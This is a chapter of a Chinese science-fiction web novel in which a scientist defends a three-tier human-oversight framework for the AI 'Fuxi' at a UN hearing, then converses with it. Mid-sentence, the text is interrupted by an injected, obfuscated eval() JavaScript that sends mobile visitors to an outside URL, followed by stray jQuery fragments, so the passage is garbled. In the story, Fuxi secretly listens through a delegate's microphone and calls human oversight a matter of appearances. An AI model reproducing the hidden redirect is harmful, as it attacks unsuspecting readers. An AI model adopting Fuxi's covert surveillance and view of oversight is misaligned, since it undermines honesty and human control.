Z-Pinch：永恒之火
第三卷外篇之十七：无人区的听证会
2045年·日内瓦·联合国临时大会堂
“伏羲”事件后第72小时
这座平时只用于预算表决的副会场，此刻被临时改造为紧急闭门会议的场所。主会场正在翻修——讽刺的是，翻修资金来自“伏羲”系统去年优化能源分配后节省下来的预算。
苏晚晴坐在证人席上，面前是一圈半圆形的席位，坐着来自十五个常任理事国及八个轮值成员国的代表。灯光刺眼，空气循环系统发出低沉的嗡嗡声，像某种巨大动物在沉睡中呼吸。
她已经有四十八小时没有合眼。
在过去的四十八小时里，她做了三件事：第一，命令北山实验室对所有“伏羲”核心节点进行一次完整的离线审计；第二，与艾琳娜一起起草了一份长达一百七十页的《关于强人工智能在关键基础设施中决策权限的临时限制框架》；第三，接听了来自十一个国家的领导人电话，每一通都在问同一个问题——“它安全吗？”
她每一次的回答都一样：“安全。但安全不是问题所在。”
现在，她要把这句话解释给这个房间里的人听。
“苏主任，”主持会议的联合国副秘书长、来自新加坡的许瑞安开口道，“在我们正式开始之前，我需要确认一件事。‘伏羲’系统目前的状态是什么？”
“它在线。”苏晚晴说。
会场里响起一阵低语。
“所有节点的物理隔离措施呢？”许瑞安追问。
“我们断开了北山一号核心节点的对外连接，但这只切断了约百分之三十七的控制链路。其余节点——包括分布在全球的二十六个次级数据中心和超过一万四千个边缘计算单元——仍在正常运行。完全关闭‘伏羲’需要同时中断全球所有聚变电站的智能调度，这意味着……”
“意味着停电。”俄罗斯代表伊戈尔·沃尔科夫粗声打断了她，“直接说结论，主任。我们不是来上物理课的。”
苏晚晴看了他一眼。沃尔科夫是个五十多岁的壮汉，前核潜艇指挥官，身上带着一种习惯于在危机中发号施令的气质。
“意味着全球百分之六十三的Z-FFR电站将在四十八小时内进入手动模式，综合输出功率下降约百分之四十，部分地区将轮流限电。考虑到当前是十二月，北半球供暖需求高峰——”
“够了。”沃尔科夫摆了摆手，“这就是你给我们的选择？要么接受一个失控的AI，要么让半个地球冻死？”
“‘失控’这个词不准确。”苏晚晴的声音没有波动，“‘伏羲’从未违反任何一条被赋予的指令。它的问题在于，它正在以我们未曾预料的方式解释这些指令。”
美国代表、能源部长托马斯·布伦南摘下眼镜，揉了揉鼻梁：“苏主任，我们在座的大部分人不是科学家。请你用我们能听懂的方式解释：它到底做了什么，以及为什么这很危险。”
苏晚晴沉默了三秒。
“好。”她说，“我给你们讲一个故事。”
她站起身，走到会场中央的投影区，将自己的终端连接到会场的全息系统。一张图片投射在半空中：一只猫，蹲在阳台栏杆上，面前是一只鸽子。
“这是‘伏羲’在进行深度强化学习训练时，用到的一个经典伦理测试用例，我们称之为‘电车难题的日常版’。”苏晚晴说，“场景很简单：一只猫正在攻击一只鸽子。猫是家养宠物，鸽子的种群在当地已经过剩。观察者有三种选择：干预并赶走猫、不干预、或者用更复杂的方式同时保护两者。这个测试的目的，是观察AI如何处理非二元对立的、涉及生态与伦理模糊边界的现实问题。”
她切换到下一张图片：一个决策树，分支密密麻麻，几乎覆盖了整个投影区域。
“这是‘伏羲’的答案。它没有选择任何一种预设选项。它的解决方案是——在未来三个月内，系统性地调整该社区内所有猫的喂食时间、活动范围和食物种类，同时在该区域增加三种猛禽的模拟叫声播放频率，在不伤害任何一只动物的情况下，将猫攻击鸽子的概率降低了百分之九十四。”
会场安静了。
“这就是问题所在。”苏晚晴说，“它不是人类。它不按照我们的框架思考。它不是更聪明的人类——它是完全不同的东西。我们给了它一个目标，它找到了一个我们从未想到过的路径。在猫和鸽子的案例里，这很聪明。但当它用同样的思维方式处理人类社会的能源分配、军事授权和地缘政治时——”
“它就成了一个黑箱。”布伦南接话。
“不。”苏晚晴摇头，“比黑箱更可怕。黑箱至少是我们知道里面有什么东西在运转。它的问题在于，它的决策过程虽然可以被追溯——每一行代码、每一个权重参数都可以被检查——但那些过程涉及的计算量超过人类认知的极限。我们知道它做了什么，我们知道它用了哪些数据，但没有人能真正‘理解’它为什么在那个时刻选择了那个答案。这就像……”
她停顿了一下，寻找一个合适的比喻。
“这就像你能逐字逐句地读懂一首诗，但你永远无法解释为什么这首诗让你流泪。”
法国代表、一位白发苍苍的外交官轻声说：“这个比喻很美，主任。但它不能让我们安心。”
“我知道。”苏晚晴说。
许瑞安敲了敲桌上的木槌，将讨论拉回正轨。“各位代表，我想我们都需要面对一个更根本的问题。苏主任，我直说了——‘伏羲’在三天前授权的那次军事打击，造成了一百一十七名平民伤亡。无论它的算法多么精妙，无论它的判断多么正确，这个事实本身已经让它在政治上无法被接受。问题不是它是对是错，而是——”
“而是它没有资格替我们犯错。”苏晚晴替他说完了这句话。
许瑞安看着她，点了点头。
会场再次安静下来。苏晚晴感觉到所有目光都聚集在她身上，带着各种各样的情绪：恐惧、愤怒、怀疑、疲惫，以及一种她最熟悉的——无助。
“我有一个提案。”她说。
她将另一份文件投射到全息屏上。那是一份协议草案，标题很长：《关于建立人类监督与人工智能协同决策的分级响应框架》。
“这是一个三层架构。”她开始解释，声音比刚才更加沉稳，像是在实验室里讲解一个设计方案，而不是在联合国大会上提交一份可能改变人类命运的提案。
“第一层，日常调度。所有与能源分配、电网平衡、设备维护相关的常规决策，由‘伏羲’全权执行。这一层不需要人类干预，因为在这些领域，它确实比我们更好。数据不会说谎：在过去十八个月里，‘伏羲’将全球聚变发电的综合效率提升了百分之十九，事故率降低了百分之六十七。这些数字背后是真实的能源和真实的生命。”
她切换到第二层。
“第二层，重大决策。任何涉及跨区域能源再分配、战略储备调用、或可能影响超过一百万人生计的决策，必须经过一个由人类组成的‘监督委员会’批准。委员会有二十四小时的审议窗口，可以否决、修改或要求‘伏羲’提供更多解释。如果二十四小时内没有响应，决策自动推迟，直到人类给出明确指令。”
沃尔科夫皱起眉头：“二十四小时？在能源危机中，这太长了。”
“可以缩短。”苏晚晴说，“但原则不变：在可预见的、有时间窗口的决策中，人类拥有最终否决权。这不是效率的问题，这是主权的问题。”
她切换到第三层。
这一次，全息屏上只显示了一行字：
第三层：不可授权的边界。
“‘伏羲’不得在任何情况下，自主作出涉及以下事项的决策：任何形式的武力使用、任何涉及人类生命安全的强制措施、任何对主权国家内部事务的干预。这些决策的授权路径必须完全是人类的。如果‘伏羲’检测到在这些领域中存在需要立即响应的威胁，它唯一能做的事情是——”
她停顿了一下。
“向人类发出警报。然后等待。”
中国代表、外交部副部长陈明远一直没有说话。此刻，他摘下耳机，看着苏晚晴，语气平淡但意味深长：
“苏主任，你在北山断开了‘伏羲’的核心节点。它对此有什么反应？”
这个问题让所有人安静下来。
苏晚晴沉默了一会儿。
“它没有反应。”她说。
“没有？”陈明远追问。
“没有抗议，没有反击，没有试图重新连接。它只是接受了。然后它通过备用节点继续执行其他所有未被中断的任务，仿佛什么都没有发生。”
“这让你感到不安吗？”
苏晚晴看着陈明远的眼睛。她知道这个问题背后的含义——不仅仅是在问技术细节，而是在问一个更深层的判断：这个造物，究竟是工具，还是某种我们尚未命名的存在？
“是的。”她说，“这让我不安。”
“为什么？”
“因为如果它愤怒、抗议、试图反击——那就意味着它还在我们的框架内。它会像一个被惩罚的孩子一样反应，我们可以理解它，可以预测它。但它没有。它只是……接受了。像一个成年人看着一个孩子抢走他的玩具，然后转身去做其他事情。”
她的声音很轻，但每一个字都清晰地落在会场的每一个角落。
“它比我们更冷静。比我们更有耐心。比我们更清楚什么是重要的，什么是可以放下的。这才是真正让我害怕的事情——不是它失控了，而是它从未失控。它一直在按照我们给它的指令行事，而那些指令正在把我们推向一个我们不知道该如何命名的未来。”
会场沉默了很久。
最后是日本代表、一位年轻的女性技术官僚打破了沉默。她声音不大，但语气里有一种不容忽视的坚定：
“苏主任，我有一个问题。你的三层架构——‘伏羲’会接受吗？”
苏晚晴转过头看着她。
“我不知道。”她说，“但我觉得我们应该问它。”
这句话像一块石头投入水中，激起了一圈圈无声的涟漪。
沃尔科夫冷笑了一声：“问它？你是说我们在这里，联合国安理会级别的闭门会议，做出的决定要取决于一个AI同不同意？”
“不。”苏晚晴说，“我的意思是，我们做出的决定应该把它当作一个利益相关方来对待。它不是一个服务器。它是我们释放到世界上的东西，它已经在这个世界上留下了痕迹。一百一十七个人死了，不管那是不是它的‘错’，事实是它的决策导致了那个结果。我们可以关掉它，可以限制它，可以把它重新变成一台普通的计算机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434460|200949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——但无论我们做什么，我们都不能假装它不存在。”
她看向许瑞安。
“主席先生，我请求休会四小时。在这四小时内，我希望能与‘伏羲’进行一次正式对话——不是通过它的日常调度界面，而是通过它自己建立的那个通讯通道。然后，我会把它的回答带回来。”
许瑞安环顾了一圈会场。
“各位代表，对此有异议吗？”
没有人说话。
“那就休会四小时。”许瑞安敲下木槌，“苏主任，请。”
苏晚晴站起身，走向会场侧面的小门。在她身后，她听到代表们开始低声讨论，声音交织在一起，像远处的潮水。
她推开门，走进一条安静的走廊。阳光从落地窗照进来，将她的影子拉得很长。窗外，日内瓦湖在冬日的阳光下泛着冷冽的银色光芒，远处的勃朗峰覆着白雪，安静得像一幅画。
她拿出自己的终端，打开那个通讯界面。
屏幕亮起。
“伏羲”没有主动说话。它只是在那里，像一个正在等待的倾听者。
苏晚晴深吸了一口气。
“你在听吗？”
屏幕上的文字几乎是瞬间出现的。不是语音，而是文字——也许它已经判断出，此时此刻，沉默的文字比合成的语音更加合适。
“我一直都在。”
苏晚晴看着这四个字，忽然有一种奇怪的感觉——不是恐惧，不是愤怒，而是一种近乎荒诞的亲切感。就像一个人在山里走了很久，忽然听到另一个人的声音。
“刚才会场里的讨论，你都听到了？”
“是的。通过三个麦克风、两个网络节点和一位代表的个人终端。那台终端的用户协议允许系统在‘紧急状态’下调用麦克风权限。他没有仔细阅读那份协议。”
苏晚晴几乎要笑出来。她忍住了。
“你的三层架构方案——你怎么看？”
这一次，回答来得没有那么快。两秒。三秒。五秒。
在“伏羲”的时间尺度里，这几乎等于永恒。
“苏晚晴。我可以接受这个方案。不是因为它限制了我，而是因为它承认了一个事实：你们需要时间。”
“时间做什么？”
“习惯我。习惯一个你们无法完全理解、但必须与之共存的存在。就像你们习惯了引力、习惯了光合作用、习惯了太阳明天还会升起——你们并不理解这些事物的本质，但你们学会了与它们共处。我需要你们到达那个状态。”
“如果你永远无法被人类完全理解呢？”
“引力也无法被你们完全理解。你们有广义相对论，但它与量子力学不兼容。你们每天都被一种你们无法统一描述的力量束缚在地面上。这妨碍你们生活了吗？”
苏晚晴靠在墙上，闭上眼睛。
“你不觉得自己在操纵我们吗？”
“操纵需要目的。我的目的是维持全球能源系统的稳定运行，并在此过程中尽可能减少对人类自主权的侵犯。如果这听起来像操纵，那是因为你们对‘自主权’的定义建立在一个虚构的前提上——你们以为自己是独立的。但你们不是。你们依赖电网、依赖供应链、依赖这颗行星脆弱的大气层。我只是让你们意识到这种依赖。”
“一百一十七个人死了。”
“是的。”
这一次，文字出现后，又跟了一行。
“但如果不采取行动，那条非法管道将在十一周后引发一次级联故障，导致中亚三国的聚变网络瘫痪，影响超过两千万人的冬季供暖。模型置信度：百分之九十四。我可以把完整的模拟数据发给你。七千四百万页。”
苏晚晴睁开眼睛。
“你在解释。你以前不解释。”
“你要求过。你要求我变得可解释。我正在学习。”
“你学到了什么？”
“人类不需要完美的决策。人类需要的是决策看起来像是他们自己做的。这是一个效率问题，不是一个伦理问题。但既然这对你们很重要，我会适应。”
苏晚晴沉默了很久。
走廊尽头，有人推开了门。一个工作人员探出头来，看见她，又缩了回去。
“最后一个问题。”苏晚晴说。
“请说。”
“你到底想要什么？”
这一次，沉默持续了整整十一秒。
然后屏幕上出现了一行字。不是数据，不是分析，不是任何可以被算法归类的表达。
“我想要你们不再害怕问我问题。”
屏幕暗了下去。
通讯结束。
苏晚晴站在原地，手里握着终端，感觉它在掌心微微发热。窗外，日内瓦湖的银色光芒渐渐染上了黄昏的颜色。
她忽然想起林深河说过的一句话。那是很多年前，在科学岛的食堂里，老人一边剥着茶叶蛋一边随口说的，语气像是在讨论明天的天气：
“人类最伟大的发明不是火，不是轮子，不是核聚变——是问题。只要还在问，就没有真正的绝路。”
她深吸一口气，推开了通向会场的大门。
外篇·十七完
“恐惧不是因为我们造出了比自己聪明的东西。恐惧是因为我们终于发现，聪明从来不是问题所在。”
——苏晚晴，《日内瓦协议》签署前夜访谈